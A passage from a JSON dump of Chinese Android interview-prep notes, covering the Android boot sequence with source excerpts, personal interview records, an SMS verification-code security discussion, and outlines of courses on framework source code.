    "content": "---\ntypora-copy-images-to: img\n---\n\n## Android启动流程\n\n![](img/Android启动流程.png) ![](img/启动流程.png)  \n\n![](img/系统启动流程图.png)\n\n在Android系统启动时，第一个启动起来的进程就是Zygote（进程孵化器）进程，然后由Zygote启动SystemServer，再后就是启动ActivityManagerService，WindowManagerService等系统核心服务，这些服务承载着整个Android系统与客户端程序交互的重担。Zygote除了启动系统服务和进程之外，普通的用户进程也由Zygote进程fork而来，当一个应用进程启动起来后，就会加载用户在清单文件（AndroidManifest.xml）中配置的默认加载的Activity，此时加载的入口是`ActivityThread.main(String[] args)`，这个方法就类似与C语言中的main()方法，是整个应用程序的入口。\n\n由操作系统的引导文件去运行linux的内核程序，内核程序开始启动的时候会加载各种驱动和数据结构，开始加载android应用层的第一个进程（init进程c代码（system\\core\\init目录） Init.c）\n\nZygote进程 --> SystemServer --> 系统服务AMS，WMS，PMS...\n\n1、当引导程序启动Linux内核后，会加载各种驱动和数据结构，当有了驱动以后，开始启动Android系统同时会加载用户级别的第一个进程init（system\\core\\init.c）代码如下：\n```c\nint main(int argc, char **argv)\n{\n    // 创建文件夹 挂载\n    mount(\"tmpfs\", \"/dev\", \"tmpfs\", 0, \"mode=0755\");\n    mkdir(\"/dev/pts\", 0755);\n   \n    // 打卡日志\n    log_init();\n    \n    INFO(\"reading config file\\n\");\n    // 加载init.rc配置文件\n    init_parse_config_file(\"/init.rc\");\n} \n```\n\n2、加载init.rc文件，会启动一个Zygote进程，此进程是Android系统的一个母进程，用来启动Android的其他服务进程，代码：\n```\nservice zygote /system/bin/app_process -Xzygote /system/bin --zygote --start-system-server\nsocket zygote stream 666\nonrestart write /sys/android_power/request_state wake\nonrestart write /sys/power/state on\nonrestart restart media\nonrestart restart netd\n```\n3、从c++代码调到java代码：\n```c++\nint main(int argc, const char* const argv[])\n{\n    ...\n    // Android运行时环境\n    AppRuntime runtime;\n    ...\n    // Next arg is startup classname or \"--zygote\"\n    if (i < argc) {\n        arg = argv[i++];\n        if (0 == strcmp(\"--zygote\", arg)) {\n            bool startSystemServer = (i < argc) ? \n                    strcmp(argv[i], \"--start-system-server\") == 0 : false;\n            setArgv0(argv0, \"zygote\");\n            set_process_name(\"zygote\");\n            // 启动java代码\n            runtime.start(\"com.android.internal.os.ZygoteInit\",\n         ...\n}\n```\n4、ZygoteInit.java 代码：\n```java\n public static void main(String argv[]) {\n        try {\n            VMRuntime.getRuntime().setMinimumHeapSize(5 * 1024 * 1024);\n    \n    \t\t// 加载Android依赖的类\n            preloadClasses();\n            //cacheRegisterMaps();\n            preloadResources();\n            ...\n    \n            if (argv[1].equals(\"true\")) {\n    \t\t\t// 启动系统服务\n                startSystemServer();\n            } else if (!argv[1].equals(\"false\")) {\n           ...\n    }\n\n\tprivate static boolean startSystemServer()\n\t     ...\n\t        args = new String[] {\n\t            \"--setuid=1000\",\n\t            \"--setgid=1000\",\n\t            \"--setgroups=1001,1002,1003,1004,1005,1006,1007,1008,1009,1010,1018,3001,3002,3003,3006\",\n\t            \"--capabilities=130104352,130104352\",\n\t            \"--rlimit=8,\",\n\t            \"--runtime-init\",\n\t            \"--nice-name=system_server\",\n\t            \"com.android.server.SystemServer\",\n\t      ...\n\t\n\t        /* Request to fork the system server process */\n\t\t\t// 母进程开始分叉服务 启动SystemServer\n\t        pid = Zygote.forkSystemServer(\n\t                parsedArgs.uid, parsedArgs.gid,\n\t                parsedArgs.gids, debugFlags, rlimits,\n\t                parsedArgs.permittedCapabilities,\n\t                parsedArgs.effectiveCapabilities);\n\t    ..\n\t}\n```\n5、SystemServer.java 代码\n```java\n public static void main(String[] args) {\n    ... \n    // 加载jni库\n    System.loadLibrary(\"android_servers\");\n    // 调用native方法\n    init1(args);\n}\nnative public static void init1(String[] args);\n```\n6、SystemServer 对应的c++代码 com_android_server_SystemServer.cpp 代码如下：\n```\n\t// 类似java的抽象方法\n\textern \"C\" int system_init();\n\t\n\tstatic void android_server_SystemServer_init1(JNIEnv* env, jobject clazz)\n\t{\t\n\t\t// 转调\n\t    system_init();\n\t}\n\t\n\t/*\n\t * JNI registration.\n\t */\n\tstatic JNINativeMethod gMethods[] = {\n\t    /* name, signature, funcPtr */ \n\t\t// 函数指针 把init1方法映射到android_server_SystemServer_init1\n\t    { \"init1\", \"([Ljava/lang/String;)V\", (void*) android_server_SystemServer_init1 },\n\t};\n```\n7、system_init 的实现方法在System_init.cpp 代码如下：\n```\n\textern \"C\" status_t system_init()\n\t{\n\t    ...\n\t\t// 启动硬件的服务\n\t    if (strcmp(propBuf, \"1\") == 0) {\n\t        // Start the SurfaceFlinger\n\t        SurfaceFlinger::instantiate();\n\t    }\n\n\t    AndroidRuntime* runtime = AndroidRuntime::getRuntime();\n\n\t    LOGI(\"System server: starting Android services.\\n\");\n\t\t// 启动完硬件服务后，又回到Systemserver的init2方法\n\t    runtime->callStatic(\"com/android/server/SystemServer\", \"init2\");\n\t    ...\n\t}\n```\n8、SystemServer 的init2方法代码：\n```java\npublic static final void init2() {\n        Slog.i(TAG, \"Entered the Android system server!\");\n        Thread thr = new ServerThread();\n        thr.setName(\"android.server.ServerThread\");\n        thr.start();\n}\n```\n9、ServerThread的run方法：\n```\npublic void run() {\n        ...\n    \t// 开启Android各种服务并且添加到ServiceManager去管理\n        Slog.i(TAG, \"Device Policy\");\n        devicePolicy = new DevicePolicyManagerService(context);\n        ServiceManager.addService(Context.DEVICE_POLICY_SERVICE, ottle = \n    \n        ...\n        // We now tell the activity manager it is okay to run third party\n        // code.  It will call back into us once it has gotten to the state\n        // where third party code can really run (but before it has actually\n        // started launching the initial applications), for us to complete our\n        // initialization.\n    \t// 各种服务开启后调用ActivityManagerService.systemReady\n        ((ActivityManagerService)ActivityManagerNative.getDefault())\n                .systemReady(new Runnable() {\n            public void run() {\n                Slog.i(TAG, \"Making services ready\");\n```\n10、ActivityMangerService的systemReady的方法：\n```\n\tpublic void systemReady(final Runnable goingCallback) {\n\t        ...\n\t\t\t// 打开第一个Activity\n\t            mMainStack.resumeTopActivityLocked(null);\n\t        }\n\t    }\n```\n11、ActivityStack的resumeTopActivityLocked方法\n```\n\tfinal boolean resumeTopActivityLocked(ActivityRecord prev) {\n\t        // Find the first activity that is not finishing.\n\t\t\t// 没有已经打开的Activity next为 null\n\t        ActivityRecord next = topRunningActivityLocked(null);\n\t\n\t        // Remember how we'll process this pause/resume situation, and ensure\n\t        // that the state is reset however we wind up proceeding.\n\t        final boolean userLeaving = mUserLeaving;\n\t        mUserLeaving = false;\n\t\n\t        if (next == null) {\n\t            // There are no more activities!  Let's just start up the\n\t            // Launcher...\n\t\n\t            if (mMainStack) {\n\t\t\t\t\t// 启动lucher应用的锁屏界面\n\t                return mService.startHomeActivityLocked();\n\t            }\n\t        }\n```\n12、Android系统启动完成，打开了Luncher应用的Home界面。\n\n## 面试记录\n\n1.对比ListView跟RecyclerView，RecyclerView有什么优势？\n\n2.了解过哪些网络框架？OkHttp比HttpURLConntaion好在哪里？\n\n3.Retrofit怎么进行二次封装？有哪些好处？\n\n4.自定义View的了解？\n\n5.短信验证码怎么保证登录的安全？\n\n- 密码加密\n\n  md5，非对称加密\n\n- 动态密码\n\n- 验证码\n\n- 有效时间\n\n- TrustZone\n\nhttps://www.zhihu.com/question/24173904\n\n身份认证有三个方式：你知道的，你持有的，以及你固有的。一般的口令密码之类算第一类（你知道的），持有令牌通行证之类算第二类（你持有的），指纹虹膜等生物特征算第三类（你固有的）。由于获取／伪造的难度不同，一般认为第一类的安全性比第二类差，第二类又比第三类差；但需要明确的是，如果只有其中一种都算是弱认证，必须独立使用两种甚至三种才算是强认证。\n\n普通应用比如邮箱的认证方式都是口令或密码这第一类认证，使用短信验证码则是为了提供第二类认证。在安全设定中，做得好的系统会要求关键修改要同时使用两种认证方式，即：使用密码登录，然后修改关键信息比如已经注册过的手机号，还需要先用之前的手机接收验证码；单独获得手机后，是不应该能够登入账户并修改所有信息的，否则就破坏了多种认证方式直接的独立性，进而破坏了系统的安全性。\n\n在智能手机的年代，由于OS开放了短信操作和拦截的接口（Android直接提供，iOS需要越狱），对于一个安装了支付类App的智能手机且绑定账户的SIM卡也安装在同一个手机的情况（绝大部分情况下是这样），短信验证事实上已经退化成了单因子验证，只要智能手机被安装了木马那么这些验证体系就会全线崩溃，攻击者甚至可以只通过钓鱼wifi全部搞定登陆密码、支付密码和短信验证\n\n[短信验证码](http://www.jinloushiji.cn/)算是短信细分行业里的小众行业，因为价格便宜却能针对性的起到大力宣传作用，自然短信这个行业的竞争也愈演愈烈，各个短信运营商都绞尽脑汁在确保网站短信验证码接口相关措施的严密。\n\n阅信短信验证码平台小编下面从五个方面入手说说阅信短信平台是怎么做的：\n\n- 绑定服务器IP。供应商的短信验证码接口只能识别客户的绑定服务器IP，否则将会报错；\n- 开启反投诉策略。短信验证码接口容易受到轰炸，供应商应将同个手机号码在24小时内接收同一根通道短信条数最大值设置为10；\n\n阅信网站短信验证码接口\n\n- 防盗用策略。为了防止客户账号被盗，供应商可以限制短信验证码接口任何时间段的任意条数上限。类似于刚刚上线的App客户，短信日发送上限可以设置成10000条；\n- 关闭网页发送短信权限。验证码基本上经由短信验证码接口提交，所以web端的网页提交功能应该关闭；\n- 绑定后台登录手机号码。短信接口管理后台可以查看到每一条短信的发送详情，为了保证数据安全，必须要指定专人管理，登录后台要收到手机短信验证码才能登录成功。\n\n当然，验证码安全并不完全由通道供应商单方面控制，从平台开发者本身出发，也需要做好防范机制，例如完善网站入口处的二次验证。\n\n随着App项目的推广，网站或手机短信验证码接口广泛应用在用户验证各方面，大大降低了非法注册，烂注册的数据的出现，所以其安全防范机制尤为重要。\n\n6.线程间通信有哪些方式？\n\n\n\ngravity跟layout_gravity区别\n\n静态成员变量运行题\n\n常见五种布局\n\n自动更新原理\n\nActivity生命周期\n\n手写数据表查询年龄最大的十个人\n\n数据存储的几种方式\n\n通过网络请求加载图片并缓存到本地\n\n第二次加载图片时从本地加载\n\n\n\n用实际例子问我权重，sp，数据库，然后看了下app，问了哪些新控件使用比较熟，然后问RecyclerView怎么添加分隔线，我说用网上找的工具类。数据库很重视，但是问的几个问题我都只能说出思路。\n\nAndroid已离职，面试我的估计是java，上来先问了个反射，然后对着简历挑着跟java沾边的东西问，比如线程间通信，MVP跟MVC模式，Cookie，然后问了些安卓的自定义View的绘制流程、事件分发机制、第三方SDK。一开始还问了我做没做过百度地图，我说做过但是没有扩展很多功能，只做了基本的功能实现，然后他问导航做过没，我说没有。实际上他们公司下个项目就要用到百度地图。\n\n公司环境一般，一个大厅用玻璃隔出了一个会议室跟老板办公室，剩下的就是两排桌子面对面坐着8~10个人，员工都比较年轻，很多刚毕业的。面试我的人感觉经验也不丰富，技术水平应该比较一般\n\n1.AIDL简历写了的，抓紧了解清楚怎么使用！\n2.对称加密与非对称加密的区别，进程间通信的所有方式，数据库优化与框架（存入一万条数据怎么优化？），事件分发细节不够清楚(返回true/false/super相应有什么结果？)，内容提供者不熟悉，网络框架源码必须得看一个！\n\n上来狂怼Java基础和Java相关的知识点，问了怎么创建线程？暂停线程的两种方法及区别？AIDL服务怎么暴露方法？工厂模式？观察者模式？http长连接短连接和组成？使用什么请求？数据库？线程池的使用场景？\n\n面试上来先自我介绍，完了就开始聊项目，感觉整个过程都挺随意的，问了挺多问题，但是基本都没有深究，基本没问到太细节的实现。JNI跟混合开发都有被问到，看来还是得了解一点其他知识点给自己涨涨身价\n\n面试官起码三十多岁，问的网络的问题听着都很懵逼，还问到app测试版跟正式版有什么不同？三个gradle有什么区别？对gradle有什么理解？有没有发生过闪退？怎么定位问题？\n\n问了些实际开发的问题，比如pad上图标如何适配，UI给比例图时我们怎么确定文字的大小，集成第三方SDK需要多少时间。\n\n问的比较简单，就自定义View跟事件分发、Activity、服务、网络、进程通信，还简单讲了一下Binder的底层原理。顺利通过技术面试\n\n跟老板谈了下，被问到认为自己技术还有哪些方面需要提升，顺势说目前已经了解过Binder底层，还需要了解更多Android底层的东西和框架的实现原理，以便更好运用和修改。问到职业规划表示自己不光对技术感兴趣，对产品也很感兴趣。然后讲了下对上个公司产品的一些看法，对他们公司产品的看法，提了两个优化的点。基本就顺利过关了"
  },
  {
    "path": "docs/android/Android-Interview/Android/Android高级面试10大开源框架源码解析.md",
    "content": "## Android高级面试，10大开源框架源码解析\n\n编程最好的学习方法是阅读顶尖工程师的源码！本课程将带你深度剖析Android主流开源框架的源码，让你全面掌握框架的使用场景、内部机制、构造原理、核心类、架构与设计思想等，提升你的代码阅读与分析能力、提高代码设计能力及改造能力，快速突破技术瓶颈，轻松应对Android高级面试与技术难题！ \n\n<!--more-->\n\n## 课程章节\n\n### 第1章 课程介绍\n\n编程最好的学习方法是阅读顶级工程师的源码！本课程将带你深度剖析Android主流开源框架的源码，让你全面掌握框架的使用场景、内部机制、构造原理、核心类、架构与设计思想等，提升你的代码阅读与分析能力、提高代码设计能力及改造能力，快速突破技术瓶颈，轻松应对Android高级面试与技术难题！ ...\n\n- 1-1 课程导学\n\n### 第2章 Okhttp网络库深入解析和相关面试题分析\n\n本章主要先通过分析OKhttp的简单使用，对于OKhttp的调度器、拦截器、缓存策略、连接池等进行了相应的源码和原理分析，并对于socket、websocket、http缓存、多线程下载、文件下载、https等经典Android面试题进行分析。\n\n- 2-1 okhttp框架流程分析\n- 2-2 okhttp同步请求方法\n- 2-3 okhttp异步请求方法\n- 2-4 okhttp同步请求流程和源码分析\n- 2-5 okhttp异步请求流程和源码分析-1\n- 2-6 okhttp异步请求流程和源码分析-2\n- 2-7 okhttp任务调度核心类dispatcher解析-1\n- 2-8 okhttp任务调度核心类dispatcher解析-2\n- 2-9 okhttp拦截器流程\n- 2-10 okhttp拦截器链介绍\n- 2-11 okhttp之RetryAndFollowUpInterceptor解析\n- 2-12 okhttp之BridgeInterceptor解析\n- 2-13 okhttp缓存策略源码分析：put方法\n- 2-14 okhttp缓存策略源码分析：get方法\n- 2-15 okhttp拦截器之CacheInterceptor解析\n- 2-16 okhttp拦截器之ConnectInterceptor解析-1\n- 2-17 okhttp拦截器之ConnectInterceptor解析-2\n- 2-18 okhttp连接池：put,get方法\n- 2-19 okhttp连接池：connection回收\n- 2-20 okhttp拦截器之CallServerInterceptor解析\n- 2-21 okhttp面试: Socket-1\n- 2-22 okhttp面试: Socket-2\n- 2-23 okhttp面试: HttpClient&HttpUrlConnection\n- 2-24 okhttp面试: OkHttp来实现WebSocket连接\n- 2-25 okhttp面试: WebSocket&轮询相关\n- 2-26 okhttp面试: Http缓存、Etag等标示作用\n- 2-27 okhttp面试: 断点续传原理&Okhttp如何实现\n- 2-28 okhttp面试：多线程下载\n- 2-29 okhttp面试：文件上传&Okhttp如何处理文件上传\n- 2-30 okhttp面试：如何解析Json类型数据\n- 2-31 okhttp面试：Https／对称加密&不对称加密\n\n### 第3章 Retrofit网络库深入解析和相关面试题分析\n\n本章主要先通过分析retrofit的使用，对于retrofit的接口、动态代理、适配工厂、数据转换等进行相应的源码和原理分析，并对于retrofit的设计模式、线程切换、Hook、MVC和MVP架构、SP跨进程问题等经典Android面试题进行分析。\n\n- 3-1 retrofit流程分析\n- 3-2 retrofit概述\n- 3-3 retrofit官网例子解析\n- 3-4 retrofit请求过程7步骤详解\n- 3-5 静态代理模式讲解\n- 3-6 动态代理模式讲解\n- 3-7 retrofit网络通信流程8步骤&7个关键成员变量解析\n- 3-8 retrofit中builder构建者模式&builder内部类解析\n- 3-9 retrofit中baseurl／converter／calladapter解析\n- 3-10 retrofit中build方法完成retrofit对象创建流程解析\n- 3-11 retrofit中RxjavaCallAdapterFactory内部构造与工作原理解析\n- 3-12 retrofit中网络请求接口实例解析\n- 3-13 retrofit中serviceMethod对象解析\n- 3-14 retrofit中okHttpCall对象和adapt返回对象解析\n- 3-15 retrofit中同步请求&重要参数解析\n- 3-16 retrofit中异步请求解析\n- 3-17 retrofit设计模式解析-1：构建者模式\n- 3-18 retrofit设计模式解析-2：工厂模式\n- 3-19 retrofit设计模式解析-3：外观模式\n- 3-20 retrofit设计模式解析-4：策略模式\n- 3-21 retrofit设计模式解析-5：适配器模式\n- 3-22 retrofit设计模式解析-6：动态代理模式／观察者\n- 3-23 retrofit面试题：retfrofit线程切换（异步机制Looper)\n- 3-24 retrofit面试题：rxjava和retrofit如何结合进行网络请求\n- 3-25 retrofit面试题：Hook与动态代理\n- 3-26 retrofit面试题：Android MVC架构优势和缺点\n- 3-27 retrofit面试题：MVP优点和缺点\n- 3-28 retrofit面试题：sp跨进程&apply和commit方法\n\n### 第4章 Glide图片库深入解析和相关面试题分析\n\n本章主要先通过分析Glide的使用，对于glide的内存和硬盘缓存、加载策略、如何进行图片网络请求等方面，并将重点放在梳理整个Glide请求的流程，最后对于bitmap、性能优化OOM和三级缓存、Lrucache等Android面试题进行分析。\n\n- 4-1 glide框架流程分析\n- 4-2 glide框架介绍-1\n- 4-3 glide框架介绍-2\n- 4-4 glide图片加载流程和源码分析-1：with方法（requestManager获取)\n- 4-5 glide图片加载流程和源码分析-2：with方法（requestManagerRetriever的get方法)\n- 4-6 glide图片加载流程和源码分析-3：load方法\n- 4-7 glide图片加载流程和源码分析-4：into方法（buildTarget）\n- 4-8 glide图片加载流程和源码分析-5：into方法（request建立和begin方法）\n- 4-9 glide图片加载流程和源码分析-6：into方法（Loadprovider）\n- 4-10 glide图片加载流程和源码分析-7：into方法（硬盘缓存／内存缓存)\n- 4-11 glide图片加载流程和源码分析-8：into方法（内存缓存的读取）\n- 4-12 glide图片加载流程和源码分析-9：into方法（内存缓存的写入）\n- 4-13 Glide面试一：bitmap&oom&优化bitmap\n- 4-14 Glide面试二：三级缓存&lrucache\n\n### 第5章 LeakCanary内存泄漏框架解析和相关面试题分析\n\n本章主要先通过leakcanary使用，然后分析内存泄漏产生原因，并对于Leakcanary如何进行泄漏Activity收集策略、转换内存快照、定位内存泄漏位置等分析，最后对于现在业界比较关心的UI流畅度和性能数据上报等进行对应分析。\n\n- 5-1 leakcanary预备知识：android性能优化&Gcroots\n- 5-2 leakcanary内存框架：内存泄漏基础&为什么需要leakcanary\n- 5-3 android常见内存泄漏分析-1：单例VS非静态内部类\n- 5-4 android常见内存泄漏分析-2：handler&解决办法\n- 5-5 android常见内存泄漏分析-3：线程&WebView\n- 5-6 leakcanary原理分析-1：Leakcanary原理概述和弱引用／引用队列\n- 5-7 leakcanary原理分析-2：ActivityRefWatcher如何监视Activity\n- 5-8 leakcanary原理分析-3：.hprof转换snapshot\n- 5-9 leakcanary原理分析-4：查找内存泄漏引用和最短泄漏路径\n- 5-10 leakcanary面试题：Application&内存\n- 5-11 leakcanary面试题：性能数据上报：网络流量和冷启动\n- 5-12 leakcanary面试题：性能数据上报：UI卡顿和内存占用\n\n### 第6章 butterknife依赖注入框架源码解析\n\n本章从butterknife的基本使用讲起，首先会介绍框架相关注解和APT知识点，然后开始逐步分析butterknife源码，并逐步理清butterknife注入框架的原理，最后提炼butterknife中有关android面试相关问题。\n\n- 6-1 butterknife的引言和基本使用\n- 6-2 butterknife原理必备知识点1：注解\n- 6-3 butterknife原理必备知识点2：APT工作原理\n- 6-4 butterknife原理必备知识点3：反射+运行时注解举例\n- 6-5 butterknife原理分析-1：注解处理器如何处理注解和保存注解\n- 6-6 butterknife原理分析-2：如何生成findviewByID代码\n\n### 第7章 blockcanary UI卡顿优化框架源码解析\n\n本章会从blockcanary基本使用讲起，首先会简单介绍ActivityThread／handler／looper相关框架知识点，然后通过分析blockcanary源码，逐步理清blockcanary如何解决UI卡顿的原理，最后会提炼blockcanary中有关android面试相关问题,并总结android性能优化相关问题。...\n\n- 7-1 blockcanary背景／UI卡顿原理／UI卡顿常见原因\n- 7-2 blockcanary使用／阀值参数\n- 7-3 blockcanary核心原理实现和流程图简述\n- 7-4 blockcanary源码解析-1：框架初始化\n- 7-5 blockcanary源码解析-2：stacksampler／cpusampler／start方法\n- 7-6 blockcanary面试一：anr场景／原因／解决\n- 7-7 blockcanary面试二：watchdog-anr 如何检测anr\n- 7-8 blockcanary面试三：new Thread开启线程的4点弊端\n- 7-9 blockcanary面试四：线程间通信：子线程--UI线程\n- 7-10 blockcanary面试五：主线程--子线程(handlerThread-IntentService)\n- 7-11 blockcanary面试六：多进程的4点好处与问题／voliate关键字\n- 7-12 blockcanary面试七：voliate关键字和单例的写法\n\n### 第8章 eventbus异步框架源码解析\n\n本章会从eventbus的基本用法开始讲起，主要包括Event、Subscriber、Publisher、ThreadMode几大部分，并结合handler、组件间传递等消息知识点深入分析，然后对比分析eventbus3.0和2.0的区别，并结合eventbus在android面试中遇到的高频问题，对eventbus框架进行总结。...\n\n- 8-1 eventbus框架核心概念：事件传递／EventBus的优点／传统handler通信的两种方式\n- 8-2 eventbus框架基本用法\n- 8-3 eventbus框架源码解析-1：EventBus对象构建／如何进行线程调度\n- 8-4 eventbus框架源码解析-2 subscribe注解／threadMode\n- 8-5 eventbus框架源码解析-3：register订阅(上)\n- 8-6 eventbus框架源码解析-4：register订阅（中）\n- 8-7 eventbus框架源码解析-5：register订阅（下）\n- 8-8 eventbus框架源码解析-6：subscribe方法完成订阅（上）\n- 8-9 eventbus框架源码解析-7：subscribe方法完成订阅（下）\n- 8-10 eventbus框架源码解析-8：发送事件post\n\n### 第9章 dagger2依赖注入框架源码解析\n\n本章从dagger2的基本使用讲起，首先会介绍框架相关依赖注入的知识点，然后逐步分析dagger2源码，并逐步理清dagger2注入框架原理，并对比分析dagger2与dagger的区别，最后会根据android面试相关问题，给大家总结dagger2的相关知识点。\n\n- 9-1 dagger2引言：依赖注入和使用场景\n- 9-2 dagger2四种注入方式和依赖注入总结\n- 9-3 dagger2的四种基本注解：@inject注解\n- 9-4 dagger2的四种基本注解：@component注解\n- 9-5 dagger2的inject和component注解实例和源码分析\n- 9-6 dagger2的@Module和@Provides注解\n- 9-7 dagger2的@Module和@Provides注解实例和代码分析\n\n### 第10章 rxjava异步框架源码解析\n\n本章会从rxjava的基本使用讲起：主要包括观察者模式、操作符、线程控制等，然后逐步分析rxjava中的响应式编程原理，最后会结合rxjava在android面试中遇到的高频面试问题，给大家总结rxjava相关知识。\n\n- 10-1 rxjava基本用法和观察者模式：01-传统观察者模式\n- 10-2 rxjava观察者模式和基本用法\n- 10-3 rxjava如何创建Observable&observer／subscriber\n- 10-4 rxjava如何创建subscriber以及如何完成订阅\n- 10-5 rxjava操作符之map基本使用\n- 10-6 rxjava操作符之map源码探究：lift\n- 10-7 rxjava操作符之flatmap\n- 10-8 rxjava线程控制：多线程编程准则&Rxjava如何处理多线程&&Schedulers\n- 10-9 rxjava线程控制：两个小例子&observeOn和SubscribeOn\n- 10-10 rxjava线程控制：SubscribeOn源码剖析\n- 10-11 rxjava线程控制：ObserveOn源码剖析&&subscribeOn可以调用几次\n\n### 第11章 picasso图片框架源码解析\n\n本章从picasso基本用法和配置讲起，逐步分析picasso的源码，并从DownLoader，Dispatcher,service线程池等核心类进行分析，最后根据picasso流程图进行总结，并给大家提炼android面试中有关picasso框架的问题。\n\n- 11-1 picasso框架基本使用API\n- 11-2 picasso源码with方法：内存缓存Lrucache和线程池的调度\n- 11-3 piacsso源码with：dispatcher如何完成线程切换\n- 11-4 picasso源码with：NetworkRequestHandler处理图片请求和回调\n- 11-5 picasso源码load方法\n- 11-6 picasso源码into方法：Action&BitmapHunter\n- 11-7 picasso源码into方法：线程池&PicassoFutureTask\n- 11-8 picasso源码into：线程开启如何执行图片加载请求？\n- 11-9 picasso源码into：Okhttp和UrlConnectionDownloader下载图片\n- 11-10 picasso源码into方法：完成加载\n\n### 第12章 课程总结\n\n本章将通过对Android面试技巧的梳理，帮助大家整体的认知和提高Android面试能力以及需要做的面试准备等，希望能对大家的面试有所帮助！最后非常感谢大家对课程的认可和支持，祝愿你们都能找到好工作。收到你们的Offer消息，是做好这门课程最大的动力。...\n\n- 12-1 Android面试技巧梳理"
  },
  {
    "path": "docs/android/Android-Interview/Android/BAT大咖助力全面升级Android面试.md",
    "content": "## BAT大咖助力，全面升级Android面试\n\n安卓面试全新升级课程，已经帮助很多同学在短时间内拿到了满意的offer，作为Android开发求职路上快速赢取满意offer的必备课程，不管你是什么级别的工程师，都可以通过这门课程的学习，轻松快速搞定Android面试，赢取满意offer！\n\n<!--more-->\n\n## 课程章节\n\n### 第1章 课程介绍\n\n本章带你了解面试过程中会遇到的问题，个人应该摆正的心态，以及面试官最为看重你的解决问题的思路。\n\n### 第2章 一线互联网公司初中高Android开发工程师的技能要求\n\n本章对一线互联网公司各个级别Android开发工程师的招聘需求进行深入分析，并带大家清晰完整的了解面试复习与准备思路，做到有的放矢，有侧重点的进行复习与准备。\n\n### 第3章 Android基础相关面试问题\n\n本章主要从Android的五大组件给大家讲解，讲解的思路主要通过一道道面试题的思路带大家逐题破解，以点带面来复习巩固android基础知识，并会在每道课程结尾处给大家总结补充一些知识点，主要讲解：Fragment 、Service 、Binder 、Activity、 BroadCast 、WebView安全漏洞、android6.0/7.0增加的新功能。...\n\n### 第4章 异步消息处理机制相关面试问题\n\nAndroid中异步消息处理在面试中是一定会被问到的，在实战过程中也是非常重要的一个开发手段，我们会从handler、Asynctask、IntentService、HandlerThread给大家详细讲解，主要通过使用、源码机制来给大家深入分析异步消息处理机制。\n\n### 第5章 View相关面试问题\n\n本章主要从view的绘制、事件分发、listview、属性动画来给大家进行讲解，自定义控件在日常开发中是也是必不可少的，本章主旨就是能了解其中的原理，从而在面试中遇到同类问题能给出相应的思路。\n\n### 第6章 Android项目构建相关面试问题\n\n开发过程中项目的构建是很重要一环，也是检验你是不是一个合格的android开发工程师的标志，面试中也会经常问到，在这里我们主要通过Android的编译打包、Proguard混淆、git的使用、gradle、渠道包这五个部分给大家分析，带大家了解Android构建的全过程，从而轻松应对这类问题的各种面试与开发。...\n\n### 第7章 开源框架相关面试问题\n\n本章主要带大家分析现在热门的开源框架主要有网络框架：retrofit/okhttp/volley，图片加载框架fresco/gilde/uil，IOC框架：butterknife/dagger2，分析的思路是从使用到深入源码分析，开源框架可以说是一个高级工程师的试金石，如果对于以上框架很熟悉，并能画出流程图，会让面试官对于刮目相看。...\n\n### 第8章 Android异常与性能优化相关面试问题\n\n随着现在的android开发业务逻辑不断扩大，对于手机的性能也提出了很高的要求，所以一款app在性能上如果能区别其他app也将脱颖而出，同样如果候选人能对性能优化很熟悉，也将在面试中脱颖而出，本章主要从UI卡顿、内存管理、内存泄漏这几个角度带大家分析性能优化。...\n\n### 第9章 热门前沿知识相关面试问题\n\n现在Android发展越来越快，对于一些前沿的知识，在面试中我们也是需要做到了解，这章从Android的插件化、热更新、rxjava、进程保活，组件化，签名过程，应用沙盒等方面给大家讲解，主要想做到扩大大家的知识面，让面试官看到你对android的热爱。\n\n### 第10章 Java高级技术点面试问题\n\n在Android的面试中，面试官通常缺少不了会问一下Java高级技术，本章就会为大家讲解Java相关高级技术面试点，包括GC/回收算法/堆栈/、反射/编译时vs运行时、注解（结合android annotation库）、范型、线程池/并发编程、Socket、IO/NIO、集合框架、类加载器、异常、继承/组合/多态、引用类型/内存泄漏、java虚拟机/d...\n\n### 第11章 设计模式相关面试问题\n\n设计模式是高级开发者的必备知识，面试中也是经常被问到，本章将结合Android使用场景，讲解常用的设计模式，让大家既掌握Android下设计模式的使用，又可轻松应对面试中关于设计模式的面试问题。包括观察者模式、动态代理 、工厂、策略类、装饰、桥接、单例等常用设计模式。...\n\n### 第12章 网络协议相关面试问题\n\n网络编程无论在开发中还是在面试中都是非常重要的，在面试中尤其对网络协议问的比较多，本章将会对网络协议进行讲解，包括https/http、dns、tcp/ip以及加密算法。\n\n### 第13章 算法相关面试问题\n\n算法作为编程的重要部分，在BAT等大公司基本是必考项，本章将结合案例为大家讲解常用常考的算法面试问题，帮助大家提高算法能力的同时轻松应对算法相关的面试。\n\n### 第14章 课程总结\n\n本章主要总结面试过程的相关技术点。同时也将面试的内容做一个归纳总结，最后非常感谢大家的支持，课程中遇到任何问题都可以在问答区提问，我在那里等着大家，有问必答，也祝愿大家都能尽早的获得一份心仪的offer。"
  },
  {
    "path": "docs/android/Android-Interview/Android/README.md",
    "content": "## Android面试题\n\n- [Android基础面试核心内容](Android基础面试核心内容.md)\n- [Android面试精华题目总结](Android面试精华题目总结.md)\n- [Android面试题-1](Android面试题-1.md)\n- [Android面试题-2](Android面试题-2.md)\n- [Android面试重点](Android面试重点.md)\n- [接口安全](接口安全.md)"
  },
  {
    "path": "docs/android/Android-Interview/Android/平台架构.md",
    "content": "Android 是一种基于 Linux 的开放源代码软件栈，为广泛的设备和机型而创建。下图所示为 Android 平台的主要组件。\n\n![图 1. Android 软件栈](img/framework.png)\n\n## Linux 内核\n\nAndroid 平台的基础是 Linux 内核。例如，[Android Runtime (ART)](https://developer.android.google.cn/guide/platform/index.html#art) 依靠 Linux 内核来执行底层功能，例如线程和低层内存管理。\n\n使用 Linux 内核可让 Android 利用[主要安全功能](https://source.android.com/security/overview/kernel-security.html)，并且允许设备制造商为著名的内核开发硬件驱动程序。\n\n## 硬件抽象层 (HAL)\n\n[硬件抽象层 (HAL)](https://source.android.com/devices/index.html#Hardware%20Abstraction%20Layer) 提供标准界面，向更高级别的 [Java API 框架](https://developer.android.google.cn/guide/platform/index.html#api-framework)显示设备硬件功能。HAL 包含多个库模块，其中每个模块都为特定类型的硬件组件实现一个界面，例如[相机](https://source.android.com/devices/camera/index.html)或[蓝牙](https://source.android.com/devices/bluetooth.html)模块。当框架 API 要求访问设备硬件时，Android 系统将为该硬件组件加载库模块。\n\n## Android Runtime\n\n对于运行 Android 5.0（API 级别 21）或更高版本的设备，每个应用都在其自己的进程中运行，并且有其自己的 [Android Runtime (ART)](http://source.android.com/devices/tech/dalvik/index.html) 实例。ART 编写为通过执行 